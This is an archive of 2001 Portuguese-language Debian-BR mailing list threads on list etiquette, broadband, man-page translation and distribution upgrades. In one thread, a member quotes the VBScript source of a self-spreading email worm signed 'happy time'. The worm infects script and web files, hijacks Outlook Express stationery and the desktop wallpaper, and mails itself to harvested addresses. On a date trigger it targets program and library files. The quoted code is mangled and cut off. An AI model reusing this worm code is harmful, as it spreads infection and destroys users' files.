Entupir Banda?!?!?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Wed, 19 Dec 2001, Gustavo Noronha Silva wrote: On Wed, 19 Dec 2001 19:19:45 -0200 (BRST) Ricardo Castanho de O. Freitas [EMAIL PROTECTED] wrote: Pessoal! Eu não sou programador, apesar de ter feitos alguns programas em VB, mas isto aqui é *só* html??? não, e pra quer citar a mensagem toda de novo? vocês estão querendo entupir a banda de todo mundo com essa porcaria? =P Parece que vc não leu a minha pergunta/frase inteira... Recebi a msg da lista, e estou perguntando para a lista o porque disto e quanto ao conteúdo!!! Além do mais, porque permitir msgs em html? Diversas lista bloqueiam isto! Email em html, parece-me que isto por si só esta fora do contexto! regra básica: cite apenas o que for importante para acompanhar o progresso da discussão ou que for relevante ao que você vai dizer Foi o que eu fiz! Ou será que posso citar o número da mensagem? Olha, pessoal aquele msg nº x² do históricona segunda linha, na trigésima terceira...etc é assim? Para mim, código é código enquanto permanece como tal e não esquartejado! isso é vbscript Era somente isto que eu estava perguntando... Obrigado pela informação! []s! []s Ricardo Castanho - -- delivery NOT reliable = [EMAIL PROTECTED] == Linux user # 102240 = Machine # 96125 = [EMAIL PROTECTED] user == -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Para mais informações veja http://www.gnupg.org iEYEARECAAYFAjwklZYACgkQqJymTCNNyXETuACfdRVSQgMWhlGml9iv77pMzG9A vbsAn3pZ/u9rQJ7/azgxq40O4EvP3cDB =Q5Ce -END PGP SIGNATURE-
Ok! não vou [Entupir Banda] !!!
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Sat, 22 Dec 2001, Raphael Derosso Pereira - DephiNit wrote: Antes de tudo: Por favor, não transformem isto numa flame-war... De modo algum... On Sat 22 Dec 2001 12:15, Ricardo Castanho de O. Freitas wrote: On Wed, 19 Dec 2001, Gustavo Noronha Silva wrote: regra básica: cite apenas o que for importante para acompanhar o Ou será que posso citar o número da mensagem? Olha, pessoal aquele msg nº x² do históricona segunda linha, na Somente como esclarecimento. Vc poderia ter colocado apenas o começo do código e referenciado a mensagem pelo Autor, dia e hora. ^ Ok, Obrigado pela dica! E não esquente. Eu não estou lhe julgando, apenas aconselhando. Lembre-se: O problema não é errar, e sim repetir o erro quando poderia ter evitado. Então, não esquenta com esta, só tente não fazer denovo! Blz? :) OK! []s Ricardo - -- delivery NOT reliable = [EMAIL PROTECTED] == Linux user # 102240 = Machine # 96125 = [EMAIL PROTECTED] user == -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Para mais informações veja http://www.gnupg.org iEYEARECAAYFAjwk1UcACgkQqJymTCNNyXF+zACfaUeeuFQbiC5eJeHvo9/nGEab lDsAmgJXmJ4bgnoPPjmLSfnsVQvyfggs =tg9R -END PGP SIGNATURE-
Re: Help (Por Favor não mandem email html!!!!!)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Wed, 19 Dec 2001, Philipe Gaspar wrote: Pessoal! Eu não sou programador, apesar de ter feitos alguns programas em VB, mas isto aqui é *só* html??? []s Ricardo Castanho Em Tuesday 18 December 2001 23:56, Javier Farian escreveu: HTMLHEAD Title Help /Title/HEAD Body script language='VBScript' Rem I am sorry! happy time On Error Resume Next mload Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject(Scriptlet.TypeLib) Set Oh = CreateObject(Shell.Application) If IsHTML Then mURL = LCase(document.Location) If mPath = Then Os.Reset Os.Path = C:\Help.htm Os.Doc = Lhtml() Os.Write() Ihtml = span style='position:absolute'Iframe src='C:\Help.htm' width='0' height='0'/Iframe/span Call document.Body.insertAdjacentHTML(AfterBegin, Ihtml) Else If Iv(mPath, Help.vbs) Then setInterval Rt(), 1 Else m = hta If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout(mclose(), 1) main Else Os.Reset() Os.Path = mPath \ Help.hta Os.Doc = Lhtml() Os.write() Iv mPath, Help.hta End If End If End If Else main End If End Sub Sub main() On Error Resume Next Set Of = CreateObject(Scripting.FileSystemObject) Set Od = CreateObject(Scripting.Dictionary) Od.Add html, 1100 Od.Add vbs, 0100 Od.Add htm, 1100 Od.Add asp, 0010 Ks = HKEY_CURRENT_USER\Software\ Ds = Grf() Cs = Gsf() If IsVbs Then If Of.FileExists(C:\help.htm) Then Of.DeleteFile (C:\help.htm) End If Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then Od.RemoveAll Od.Add exe, 0001 Od.Add dll, 0001 End If Cn = Rg(Ks Help\Count) If Cn = Then Cn = 1 End If Rw Ks Help\Count, Cn + 1 f1 = Rg(Ks Help\FileName) f2 = FNext(Of, Od, f1) fext = GetExt(Of, Od, f2) Rw Ks Help\FileName, f2 If IsDel(fext) Then f3 = f2 f2 = FNext(Of, Od, f2) Rw Ks Help\FileName, f2 Of.DeleteFile f3 Else If LCase(WScript.ScriptFullname) LCase(f2) Then Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then Tsend Else adds = Og Msend (adds) End If End If wp = Rg(HKEY_CURRENT_USER\Control Panel\desktop\wallPaper) If Rg(Ks Help\wallPaper) wp Or wp = Then If wp = Then n1 = n3 = Cs \Help.htm Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs \ n2 .htm End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa(1100) pfc.Write HTML body bgcolor='#007f7f' background=' n1 ' /Body /HTML mt pfc.Close Rw Ks Help\wallPaper, n3 Rw HKEY_CURRENT_USER\Control Panel\desktop\wallPaper, n3 End If Else Set fc = Of.CreateTextFile(Ds \Help.vbs, True) fc.Write Sa(0100) fc.Close bf = Cs \Untitled.htm Set fc2 = Of.CreateTextFile(bf, True) fc2.Write Lhtml fc2.Close oeid = Rg(HKEY_CURRENT_USER\Identities\Default User ID) oe = HKEY_CURRENT_USER\Identities\ oeid \Software\Microsoft\Outlook Express\5.0\Mail MSH = oe \Message Send HTML CUS = oe \Compose Use Stationery SN = oe \Stationery Name Rw MSH, 1 Rw CUS, 1 Rw SN, bf Web = Cs \WEB Set gf = Of.GetFolder(Web).Files Od.Add htt, 1100 For Each m In gf fext = GetExt(Of, Od, m) If fext Then Fw Of, m, fext End If Next End If End Sub Sub mclose() document.Write titleI am sorry!/title window.Close End Sub Sub Rt() Dim mPath On Error Resume Next mPath = Grf() Iv mPath, Help.vbs End Sub Function Sa(n) Dim VBSText, m VBSText = Lvbs() If Mid(n, 3, 1) = 1 Then m = % VBSText % End If If Mid(n, 2, 1) = 1 Then m = VBSText End If If Mid(n, 1, 1) = 1 Then m = Lscript(m) End If Sa = m vbCrLf End Function Sub Fw(Of, S, n) Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) mt = fc.ReadAll fc.Close If Not Sc(mt) Then mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) fc2.Write mt fc2.Close Msend (mmail) End If End Sub Function Sc(S) mN = Rem I am sorry! happy time If InStr(S, mN) 0 Then Sc = True Else Sc = False End If End Function Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = T = False If Of.FileExists(S) Then fpath = Of.GetFile(S).ParentFolder fname = S ElseIf Of.FolderExists(S) Then fpath = S T = True Else fpath = Dnext(Of, ) End If Do While True Set gf = Of.GetFolder(fpath).Files For Each m In gf If T Then If GetExt(Of, Od, m) Then FNext = m Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = Then T = True End If Next fpath = Pnext(Of, fpath) Loop End Function Function Pnext(Of, S) On Error Resume Next Dim Ppath, Npath, gp, pn, T, m T = False If Of.FolderExists(S) Then Set gp = Of.GetFolder(S).SubFolders pn = gp.Count If pn = 0 Then Ppath = LCase(S) Npath = LCase(Of.GetParentFolderName(S)) T = True Else Npath = LCase(S) End If Do While Not Er For Each pn In Of.GetFolder(Npath).SubFolders If T Then If Ppath = LCase(pn) Then T = False End
Re: Cuidado com o SourceForge
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Tue, 13 Nov 2001, Marcio China wrote: On Monday 12 November 2001 21:44, Gustavo Noronha Silva wrote: Alô amigos, Mesmo se tudo estiver sob a GPL?? Ela nao protege exatamente contra isto? Eu ja recebi este link na outra lista e fiu ate la ler a noticia, que esta em frances. Simplesmente o proprietario do sourceforge pode apropriar-se das colaboracoes la contidas. No brasil tem o codigoaberto.org.br, que pode ser uma alternativa. China []s Ricardo Castanho - -- == Linux user # 102240 = Machine # 96125 = [EMAIL PROTECTED] user == -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Made with pgp4pine 1.75-6 iEYEARECAAYFAjvyBgoACgkQ9I0k95pf9XvHVgCfV/gygIRcmdGn21bojCP1DSbb 928An1wJWVVNbP27SEcvc9oRnIJ/0SCu =6X7l -END PGP SIGNATURE-
Re: Speedy
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Sat, 13 Oct 2001, Marinho Paiva Duarte wrote: Olá Marinho! O Speedy/Telefonica *nunca* vai garantir nada! Mas funciona legal com o Linux sim! só que eu acabei de ver uma msg na linux-br sobre o rp-pppoe! que você deverá usar para autenticação! (no Speedy 'NOVO'). Dizem que o rp-pppoe é melhor! Mas eu não sei e nem pretendo testar! E se por um acaso você descobrir uma solução debian, por favor me avise! [] Ricardo Castanho Alguém já usou o Speedy da Telefonica (Brasil) com linux?? Antes eles usavam ip fixo e eu sei que funciona porque já vi em várias máquinas, mas agora eles mudaram para ip automático, e não tem mais como expecificar gateway, ip e etc para o Linux. A Telefonica diz que com o Linux eles não garantem o funcionamento do produto. Se alguém usa ou sabe como fazer funcionar, poderia me dizer como?? Qualquer pista é preciosa... Abraços!!! --- Marinho Paiva Duarte Analista de Suporte Usuário Linux #229528 _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com - -- == Linux user # 102240 = Machine # 96125 = [EMAIL PROTECTED] user == -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Made with pgp4pine 1.75-6 iD8DBQE7yOs9643DDkd0jWwRApkQAJ9vJl8b5bli3biX3HDs+1RHlk3wqQCgghu4 pGuaQrKaqkiXtH+MUP0SOCY= =T84s -END PGP SIGNATURE-
Re: [OFF-TOPIC] Línguas (era: Linguagem de programacao)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Mon, 24 Sep 2001, Leandro Guimarães Faria Corsetti Dutra wrote: Grande Leandro: Vou guardar sua mensagem como testemunho! ;-)) (pelo menos as pessoas vão ver que não sou *só* eu que brigo por isto! Não tenho xenofobia!) Estou brigando com várias pessoas com relação à certas palavras, mas principalmente, o 'assume' do Inglês como assumir em Português! Não acho que o 'intercâmbio' de palavras e conceitos entre idiomas seja um problema, ao contrário, *quando bem utilizado* enriquece o idioma, *mas* a utilização como assume=assumir é danosa ao nosso idioma! []s Ricardo Castanho Hélio Perroni Filho wrote: E é assim que nossa pobre Língua Portuguesa vai se empobrecendo. Na verdade, é assim que as línguas vão se enriquecendo... Sem neologismos e assimilações, elas estagnariam. Claro que há um limite pra tudo, mas os procedimentos em si não são danosos, e sim o seu uso exagerado. Não é questão de grau, mas de essência. Neologismos tudo bem, quando se encontra uma palavra melhor ou mais precisa ou mais genérica que as já existentes. Assimilações, quando não se encontra uma palavra que já exista na nossa língua, e quando não há colisão com uma já existente. Por exemplo, uma assimilação boa seria resiliente. Mas assumir como tradução de assume é uma péssima assimilação, porque (1) essa palavra já existe em Português com outro significado, de reconhecer-se, e (2) porque já temos outra palavra para expressar a mesma idéia, presumir. - -- == Linux user # 102240 = Machine # 96125 = [EMAIL PROTECTED] user == A tall, dark stranger will have more fun than you. -BEGIN PGP SIGNATURE- Version: PGP 6.5.8 Comment: Made with pgp4pine 1.75-6 iQA/AwUBO69wK3Nx7XbKFCtwEQLJeQCfc9rBg/QKgaxXwPjG8GIpcPqj/0oAnji9 l06rCB2oqHHs9Et94yFuWTkM =7kDk -END PGP SIGNATURE-
Re: upgrade cl6 - cl7
On Thu, 30 Aug 2001, ReMy Le BeAu wrote: Pô... também não precisa 'judiar' né? ;-) upgrade para mim?? só com outra instalação em outro HD e migrar minhas 'tralhas' hehehe... e pensar que você pode atualizar Debian 1.0 - 3.0 sem nem um reboot... =) Pô, Debian: All the power without the silly hat... []s Ricardo -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = You will contract a rare disease.
upgrade cl6 - cl7
On Wed, 29 Aug 2001, Gustavo Noronha Silva wrote: Olá Kov! Já ví que você é mentiroso!! ;-)) Eu duvido que você consiga fazer o upgrade do cl6 e cl7 utilizando 'aquele' howto ou qualquer outro! Quer tentar? ;-) Nem com reza brava, nem com ajuda do pessoal da cnc! upgrade para mim?? só com outra instalação em outro HD e migrar minhas 'tralhas' BTW, só pra deixar registrado, para fazer um upgrade cnc 6 - 7 você *precisa* ler um howto porque senão você se estrepa todo e acaba com um sistema inutilizável (só um expert em rpm para arrumar ;)) DETALHE: eu segui aquele howto passo à passo! e acabei na mesma . fica aí nosso protesto =) endosso seu protesto! []s! outros []'s Ricardo Castanho PS: Se 'você' não morasse TÃO longe, eu até que levaria minha maquina para você tentar ;-) Mas pensando bem você não merece isto! ;-) aliás. ninguém! -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = You had some happiness once, but your parents moved away, and you had to leave it behind.
Re: apt desnvolvido pela Conectiva
On Tue, 28 Aug 2001, Victor Maida wrote: Sou usuário do Cl6 e também acho este tipo de atitute lamentável... Principalmente por ser o Sandro Espero que realmente tenha sido um escorregãomesmo! Mas por outro lado é que considero de grande importância a sua atitude! Conhecer a história e corrigir quem estiver errado! Parabéns pela correção e pela informação! []s Ricardo Castanho Na palestra de ontem (segunda-feira) do Sandro Nunes (conectiva) na Comdex, ele disse que a Conectiva tinha desenvolvido um sistema para facilitar a instalação de programas, resolvendo inclusive as questões sobre dependências, essa ferramenta desenvolvida por eles se chama apt -get. Quando eu o indaguei sobre o apt ter sido desenvolvido pela Debian ele agradeceu como se ele houvesse esquecido deste pequeno detalhe. O correto seria ele dizer que a Conectiva fez a adaptação do apt para trabalhar com rpms e dar o mérito para quem de direito. Eu juro que não podia imaginar uma falha dessas, ainda mais de uma das pessoas que mais ajudou na divulgação do gnu/linux no país. Dar o mérito para quem realizou um trabalho é o mínimo que se pode fazer na comunidade open source. -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = You are confused; but this is your normal state.
'tá na RdL [AGOSTO] pg.65!Re: Shutdown
On Wed, 22 Aug 2001, Carlos Laviola wrote: Olá Pessoal! Como, no 'subject', está na Rdl de Agosto, pg65! Eu também estava procurando uma forma de fazer isto sem 'outorgar'direitos de 'root' à ninguém Para meu propósito serviu Caso queiram... é só falar que eu mando a dica da RdL! []s Ricardo Castanho On Wed, Aug 22, 2001 at 09:01:38AM -0300, [EMAIL PROTECTED] wrote: All estou precisando habilitar alguns usu?rios a fazerem shutdown no sistema. J? vi em algum que lugar que existe um arquivo em que se coloca os usu?rios que podem dar shutdown no sistema. Pelo que eu vi na manpage, é diferente do que você está pensando. O /etc/shutdown.allow serviria apenas para deixar que certos usuários apenas tenham o poder de reiniciar a máquina fisicamente, através de ctrl + alt + del. Se você quer dar poder aos usuários para reiniciar a máquina, pegue o pacote sudo e dê a eles permissão de root apenas para os binários 'halt', 'shutdown' e 'reboot', ou adicione-os ao grupo root (não recomendável, óbvio). -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = Beware of a tall black man with one blond shoe.
Re: off topic - usernet
On Sun, 12 Aug 2001, cosmo wrote: Olá Cosmo! Desculpe! não entendi sua pergunta direito Você quer provedor de news gratuíto para acesso a usenet, é isto? Atualmente, os provedores 'news'são pagos, mas eu recebi uma lista como todos nós gostamos, gratis Se for isto, me avise que te mando! Programa, eu escolhi o pam, que parece ser o melhor que eu encontrei até agora O pam tenta imitar o fortè! (conhece?) mas não chega aos pés...;-( pena que o fortè seja windows!!! []s Ricardo Castanho All Por acaso alguem conhece algum news que tenha acesso a usernet ?!?!? [ ]'s [EMAIL PROTECTED] GNU/Linux Debian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = You will gain money by an immoral action.
man pages para download!
Olá Pessoal! Segundo me solicitaram, estou encaminhando para lista o endereço abaixo! Os link para download dos arquivos são: http://ldp-br.conectiva.com.br/projetos/man-pages/ Mas, pergunte ao kov ou alguém que possa esclarecer quanto as particularidades no Debian... Aliás, eu gostaria de saber... seria só fazer o download ou algum 'port'? []s Ricardo Castanho == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = Don't let your mind wander -- it's too little to be let out alone.
Boa informação!
On Fri, 10 Aug 2001, Gustavo Noronha Silva wrote: Olá Kov e Pessoal! Em Fri, 10 Aug 2001 18:04:06 -0300 (EST) Ricardo Castanho de O. Freitas [EMAIL PROTECTED] escreveu: Kov! é a este tipo de atitude que eu me referi! Estamos falando de GNU/Linux! E pelo que sei a Debian faz parte deste princípio... mais do que qualquer outra! [Favor corrigir se estiver errado!] que atitude? quem fez alguma coisa? Pelo que entendo, o nosso amigo somente quis ressaltar que o LDP-BR é realmente um projeto de todas as dists e não um projeto Conectiva... não concorda? O fato de o coordenador ser usuário de slack mostra a isenção do LDP-BR Sim, concordo! Ao contrário desta lista que é específica para Debian, a LDP-BR não é propriedade de nenhuma distro, senão perde o valor!Creio eu A LDP-BR perde seu valor se for de uma única distro mas o Debian-BR perde o valor se for de todas =) É um paradoxo, mas é verdade! Nós estamos *assumidamente* trabalhando para fazer *em primeiro lugar* um sistema *totalmente livre* e universal, o que não bate com a vontade de todos, visto que a conectiva, por exemplo, tem um mercado específico... Nós estamos *assumidamente* trabalhando para que o Debian seja a escolha de mais e mais pessoas... o que significaria um tipo de competição com a CNC, por exemplo... mas como nós somos uma comunidade e não uma empresa, não vemos isso como competição, vemos como um tipo de mutualismo... (quando eu digo 'nós' eu quero me referir a 'o Debian-BR', já que não tenho competência para falar pelo Debian =)) Perfeito! Creio que é exatamente esta a idéia! E se pararmos de traduzir documentação específica do Debian, não é o LDP-BR que o vai fazer por nós, infelizmente... Mesmo que o LDP-BR queira ser totalmente universal ainda aparecem uns Conectiva Linux dentro dos HOWTOs vide: Nosso foco até agora eram as man pages! E, se eu ví, passou batido! De qualquer forma, ainda será decidido qual será a prioridade que virá! Mas em todo caso, eu gostaria que fossem retirada toda e qualquer menção a uma distro específica, a não ser que seja absolutamente essencial! Tipo característica básico do sistema de arquivos, ext e etc! Se a tradução tiver sido feita pela Conectiva, e seguindo-se os padrões de hoje, será mencionado apenas o tradutor e revisor ao final de cada arquivo. Mantendo-se, à risca, a originalidade do documento! Isto, sem dúvida alguma será revisto, entretanto, ao traduzirmos os HOWTO's por exemplo, pegaremos sempre, as últimas versões... que por sí mesmo eliminaria qualquer menção 'não adequada'. De qualquer forma, se foi instalada uma distribuição Red Hat ou Conectiva Linux, tem-se a opção de instalá-lo como um pacote. Algumas outras distribuições também incluem os binários do Samba. -- Samba-HOWTO é nosso propósito fazer com que o Debian tenha também sua documentação disponível, e por isso é que (isso era uma dúvida frequente anteriormente...) não podemos ser LDP-BR... nossos propósitos, embora sejam de colaboração, são totalmente distintos... O Debian tem problemas e soluções muito diferentes das normais... dhelp, dwww, modconf, update-* devem ser documentados.. e isso cabe a nós =) Concordo, mas não se esqueça que mesmo a LDP-BR (ou a LDP) é um movimento dos usuários... Podemos, independente da distro, estar interagindo... embora, como você disse existirem particularidades! Não entendam isso errado... nós, os debianers, temos (tirando alguns usuários meio nervosinhos =)) grande consideração pelo que o LDP-BR faz, e com a CNC por ajudar nisso... embora todos saibamos que o projeto é uma coisa voluntária e não uma coisa *da* conectiva =) kov, para mim, isto está claro apesar de ter compreendido de forma errada a menção ao Slack... a minha preocupação no momento é Gnu/Linux e pronto! Contem com a gente, por que estamos lutando pelo mesmo ideal! E divergências haverão sempre, resta aprender com elas []s Ricardo Castanho -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = Expect the worst, it's the least you can do.
Re: PS para PDF
On Sat, 11 Aug 2001, HardBeat404 wrote: Eu vi recentemente no freshmeat, um programa chamado: ps2pdf! Não cheguei a testar, mas chamou a atenção! Existem outros, este foi o último! []s Ricardo Castanho -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Galera , alguem pode me informar de algum programa que passe de postscript para pdf ??? eu infelizmente nao achei nenhum e quero passar aquele ps do livro linux total da conectiva para pdf ou entao algum visualizador postscript para windows Abraços // www.hardbeat404.f2s.com // Debian News? http://www.debianplanet.org // ICQ/Licq: #72974241 // Linux Registered User: #220025 -BEGIN PGP SIGNATURE- Version: PGPfreeware 7.0.3 for non-commercial use http://www.pgp.com iQA/AwUBO3WK/7vphCHEu7TmEQJRuQCeOao+KwZvJ3gNu5QbF7awEbL6F38An0sz mAwiF8O2vCR19B210w1IJZPP =G16C -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = Your supervisor is thinking about you.
Man Pages! Debian-br!
On Thu, 9 Aug 2001, Gustavo Noronha Silva wrote: Olá Kov e Pessoal Debian-br! Eu sei que muitos da Debian-br não gostam das traduções feitas pela LDP-BR! de onde você tirou isso? é uma idéia errada Concordo, mas esta idéia apareceu por diversas vezes e na última, você (kov) foi quem explicou ao outro usuário que isto estava errado! foi em Julho (não tenho mais a msg!). Esta mensagem que eu falo, foi motivo de muita conversa entre nós para eliminarmos qualquer idéia separativista dentro do movimento GNU/Linux! tanto é que temos um pacote das manpages em português já há algum tempo... feito pelo Eduardo Maçan... (tá na hora de atualizar error =)) Sempre! Não fossem as divergências... não teríamos tantas distribuições Linux! não vejo como divergências mas como necessidades específicas ;) Concordo em alguns casos! Considero divergência quando para o mesmo trabalho... várias pessoas 'divergem' e utilizam Slack, Debian, Cnc, Mandrake e etc, para executá-lo! Mesmo resultado, com ferramentas 'diferentes'. Este trabalho iniciou-se em 1997 na Conectiva e pela Conectiva, passando à LDP-BR em 1998, ganhando cada vez mais voluntários de todas as distribuições para concluir mais este trabalho! e que parecia estar parado o LDP-BR não teria um domínio próprio? Sim temos! http://ldp-br.conectiva.com.br/ A Conectiva sede máquina, espaço, funcionários, tempo de dedicação dos funcionários que mantem a página e etc! E tem mais ainda Existe a idéia de se implantar um 'bugzilla', como um meio fácil e rápido para que usuários reportem erros e 'erros' nas traduções! Além da reformulação total do próprio site! O problema é que o trabalho é voluntário e nem sempre as pessoas entendem o que isto significa! Muitos pensavam que era para fazer o que fosse possível, quando desse! Hoje existe uma conscientização e comprometimento com o trabalho! Parecia, não estava muito parado! Foi justamente por 'n' problemas na coordenação com divisão de trabalho e normatização do processo, que somente entramos em ritmo normal... tirando o atraso de vários anos! (considerando que a Cnc começou a tradução em 1997)... não tenho dados sobre o Macan! Nosso trabalho 'disparou' mesmo após Novembro/2000! Eu não tenho os números mas, não foi brincadeira colacar o trabalho em dia! Agora, precisamos manter o que já foi feito e começar a traduzir o restante! Esperamos contar com a colaboração do pessoal da Debian-br, que esta envolvida em suas próprias traduções e prioridades, mas na medida do possível, colaborem com GNU/Linx! estamos aí pra ajudar... a única diferença é que o Debian-BR está interessado em trabalhar aspectos específicos do Debian como descrições de pacotes, templates debconf... fazemos isso porque sabemos e confiamos no LDP-BR para tratar das partes que os sistemas compartilham... não há divergência mas uma cooperação mútua (visto que ao tentar melhorar o Debian nós muitas vezes acabamos traduzindo ou melhorando um programa que é usado por outras...) Precisamos, acima de tudo, de críticas construtivas, para que possamos realmente 'gastar' nosso tempo de maneira produtiva e que tenha um real valor para toda a comunidade GNU/Linux! Precisamos de tradutores e revisores que estejam dispostos a botar a mão na massa! Abraços, E sucesso com esta nova empreitada da Debian-br! logo logo com traduções das descrições!! =) -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = You dialed 5483.
Re: Lançamento do primeiro pacote de páginas de manual traduzido para o pt_BR (fwd )
On Fri, 10 Aug 2001, Fabio Jr. Beneditto wrote: Como falei o movimento é GNU/Linux. Não é GNU/Linux-Conectiva!! Não é restrito a nenhuma distro! Nem uma específica distro pode 'descaracterizar' o valor voluntário do trabalho. Assim como sou usuário Conectiva! Sou voluntário como tradutor/revisor! Nada demais! [corta] Kov! é a este tipo de atitude que eu me referi! Estamos falando de GNU/Linux! E pelo que sei a Debian faz parte deste princípio... mais do que qualquer outra! [Favor corrigir se estiver errado!] Ao contrário desta lista que é específica para Debian, a LDP-BR não é propriedade de nenhuma distro, senão perde o valor!Creio eu Só complementando: O Atual coordenador do LDP-BR, o André Lonely Wolf, é um Slack User [só para constar...] :wq! -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = If you stand on your head, you will get footprints in your hair.
Lançamento do primeiro pacote de páginas de manual traduzido para o pt_BR (fwd ) L O N G O!
Olá Pessoal! Estou fazendo este (fwd), porque acredito que isto seja importante para todos os usuários GNU/Linux, independente de qualquer coisa, pois somos todos por um só movimento... o GNU/Linux! Eu sei que muitos da Debian-br não gostam das traduções feitas pela LDP-BR! É um trabalho voluntário que iniciou-se muito tempo atrás, concluido somente agora devido ao enorme número de man pages existente *e* as naturais dificuldades de um esforço coletivo voluntário! Quem quiser colaborar sugerindo correções e/ou sugestões, favor entrar em contato com o André Luiz Fassone Canova [EMAIL PROTECTED], que é o atual coordenador deste trabalho junto à LDP! Divergências quanto à tradução sempre existirá! Cabemos avaliar quanto à compreensão e aspectos técnicos (ou seja traduções que levam à interpretações errôneas, que é a nossa maior preocupação!) Não fossem as divergências... não teríamos tantas distribuições Linux! Lembrando que o projeto LDP não pertence à ninguém! E nem seu braço brasileiroa LDP-BR! Gentilmente sediada na Conectiva! Este trabalho iniciou-se em 1997 na Conectiva e pela Conectiva, passando à LDP-BR em 1998, ganhando cada vez mais voluntários de todas as distribuições para concluir mais este trabalho! Esperamos contar com a colaboração do pessoal da Debian-br, que esta envolvida em suas próprias traduções e prioridades, mas na medida do possível, colaborem com GNU/Linx! []s Ricardo Castanho -- == Ricardo C.O. Freitas [EMAIL PROTECTED] Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2 PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão© Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!) = Keep emotionally active. Cater to your favorite neurosis. -- Forwarded message -- From: André Luiz Fassone Canova [EMAIL PROTECTED] To: LDP-BR [EMAIL PROTECTED] Subject: Lançamento do primeiro pacote de páginas de manual traduzido para o pt_BR Date: Thu, 9 Aug 2001 00:04:08 -0300 Olá, É com imenso prazer que torno público o primeiro release público do pacote de páginas de manuais totalmente traduzido e revisado para a nossa língua pátria. Saliento que tal feito só ocorreu devido a valorosa e inestimável colaboração de dezenas de pessoas que ajudaram, voluntariamente, cedendo seu tempo pessoal para trabalhos de tradução e revisão. Ressalto ainda o apoio institucional da Conectiva S/A que nos fornece apoio técnico e material no sentido de podermos manter os servidores, necessários ao projeto, em funcionamento. E, como todos sabemos, o trabalho não estará finalizado neste ponto pois pretendemos manter a comunidade GNU/Linux brasileira abastecida de documentação atualizada em um ritmo, no mínimo, igual ao de outras comunidades. Para tal a cooperação, base do desenvolvimento de nossa comunidade, é fundamental. E neste sentido, com o lançamento destas páginas, desejamos aglutinar esforços de cooperação voluntária em nosso país. Gostaríamos, também, que este impacto se estendesse para outras comunidades em outros países e que neste países esforços para democratizar o acesso de informação se tornassem fortes e efetivos já que a 